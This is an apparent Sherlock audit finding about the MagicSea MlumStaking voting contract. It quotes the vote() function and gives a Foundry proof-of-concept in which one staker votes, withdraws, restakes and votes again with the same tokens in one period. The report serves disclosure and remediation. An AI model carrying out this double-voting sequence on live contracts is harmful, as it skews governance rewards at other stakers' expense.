jennifer37 - Funds in MlumStaking may be used to vote twice

[sherlock-admin4]

jennifer37

Medium

Funds in MlumStaking may be used to vote twice

Summary

In one vote period, if one NFT position reach lock time, the related MLUM tokens can be used to vote for twice.

Vulnerability Detail

In MlumStaking, stakers will stake MLUM tokens to mint one NFT position. Stakers can make use of the position NFT to vote for their pool.
In vote(), we add some check to check whether this NFT has the right to vote for one pool.
The vulnerability is that the input check is not enough. Considering that one NFT token's timelock reaches, we use this NFT to vote for one pool. And then we can withdraw from MlumStaking and recreate one position into MlumStaking to generate another NFT position. We can use this position to vote again.
We can use the same funds to vote twice.

    function vote(uint256 tokenId, address[] calldata pools, uint256[] calldata deltaAmounts) external {
        if (pools.length != deltaAmounts.length) revert IVoter__InvalidLength();

        // check voting started
        if (!_votingStarted()) revert IVoter_VotingPeriodNotStarted();
        if (_votingEnded()) revert IVoter_VotingPeriodEnded();

        // check ownership of tokenId
        if (_mlumStaking.ownerOf(tokenId) != msg.sender) {
            revert IVoter__NotOwner();
        }

        uint256 currentPeriodId = _currentVotingPeriodId;
        // check if alreay voted
        if (_hasVotedInPeriod[currentPeriodId][tokenId]) {
            revert IVoter__AlreadyVoted();
        }

        // check if _minimumLockTime >= initialLockDuration and it is locked
        // @audit possible to vote twice with the same amount to mlumstaking
        if (_mlumStaking.getStakingPosition(tokenId).initialLockDuration < _minimumLockTime) {
            revert IVoter__InsufficientLockTime();
        }
        if (_mlumStaking.getStakingPosition(tokenId).lockDuration < _periodDuration) {
            revert IVoter__InsufficientLockTime();
        }
......
}

Poc

    function testPocVoted() public {
        // Create position at first
        vm.startPrank(ALICE);
        _createPosition(ALICE);
        vm.warp(3 weeks);

        vm.prank(DEV);
        _voter.startNewVotingPeriod();
        vm.startPrank(ALICE);
        _voter.vote(1, _getDummyPools(), _getDeltaAmounts());
        // withdraw this NFT
        _pool.withdrawFromPosition(1, 1 ether);
        _stakingToken.approve(address(_pool), 1 ether);
        _pool.createPosition(1 ether, 2 weeks);
        _voter.vote(2, _getDummyPools(), _getDeltaAmounts());
        vm.stopPrank();
    }

Impact

Stakers' voting power should be determined by staking behavior. Now malicious users can increase their voting power to get more pool rewards for their pool. This is unfair.

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/Voter.sol#L153-L219

Tool used

Manual Review

Recommendation

If one NFT position wants to vote, we should make sure this NFT position is locked and cannot be unlocked before the vote period ends.

Duplicate of #166